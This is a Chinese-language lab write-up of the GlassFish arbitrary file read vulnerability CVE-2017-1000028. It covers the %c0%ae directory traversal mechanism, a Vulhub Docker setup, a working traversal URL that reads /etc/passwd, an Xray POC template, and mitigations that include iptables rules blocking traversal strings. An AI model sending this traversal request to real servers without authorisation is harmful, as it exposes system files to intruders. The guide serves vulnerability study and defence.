GlassFish 任意文件读取漏洞复现
字数 960 2025-08-15 21:33:04
GlassFish 任意文件读取漏洞分析与复现指南
漏洞概述
GlassFish 是一款基于 Java 编写的跨平台开源应用服务器。在 4.1.1 之前的版本中存在一个任意文件读取漏洞(CVE-2017-1000028),攻击者无需认证即可通过特制 URL 读取服务器上的任意文件。
漏洞原理
该漏洞利用 Java 语言对 Unicode 字符的特殊处理:
- Java 会将
%c0%ae解析为\uC0AE,最终转义为 ASCII 字符的.(点) - 通过构造
%c0%ae%c0%ae/序列实现目录穿越(等同于../) - 攻击者可利用此特性向上跳转目录,读取服务器上的任意文件
影响版本
所有 GlassFish 版本 < 4.1.1(不包括 4.1.1)
漏洞复现
环境搭建
-
使用 Vulhub 提供的 Docker 镜像:
git clone https://github.com/vulhub/vulhub cd vulhub/glassfish/4.1.0 docker-compose up -d -
默认管理员密码:
vulhub_default_password(可在 docker-compose.yml 中修改) -
服务端口:
- 8080:网站内容
- 4848:GlassFish 管理中心
漏洞验证
无需登录,直接访问以下 URL(将 your-ip 替换为实际 IP):
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
成功响应将显示 /etc/passwd 文件内容。
Xray POC 示例
name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
- method: GET
path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
follow_redirects: true
expression: |
response.status == 200 &&
response.body.bcontains(b"Ant-Version:") &&
response.body.bcontains(b"Manifest-Version:")
detail:
version: <4.1.0
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0
修复方案
1. 关闭远程管理(部分缓解)
./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain
注意:此方法仅禁用远程登录,漏洞 URL 仍可访问,任意文件读取依然存在。
2. IPtables 规则(针对 HTTP)
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP
限制:无法防御 HTTPS/SSL 加密流量。
3. 禁用 web.xml theme 映射(推荐)
修改文件:
\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml
注释掉以下内容:
<!--
<servlet-mapping>
<servlet-name>ThemeServlet</servlet-name>
<url-pattern>/theme/*</url-pattern>
</servlet-mapping>
-->
修改后需重启 GlassFish 服务生效。
最佳实践
- 升级到 GlassFish 4.1.1 或更高版本
- 结合禁用 theme 映射和 IPtables 规则进行防御
- 生产环境应考虑将管理端口限制为仅本地访问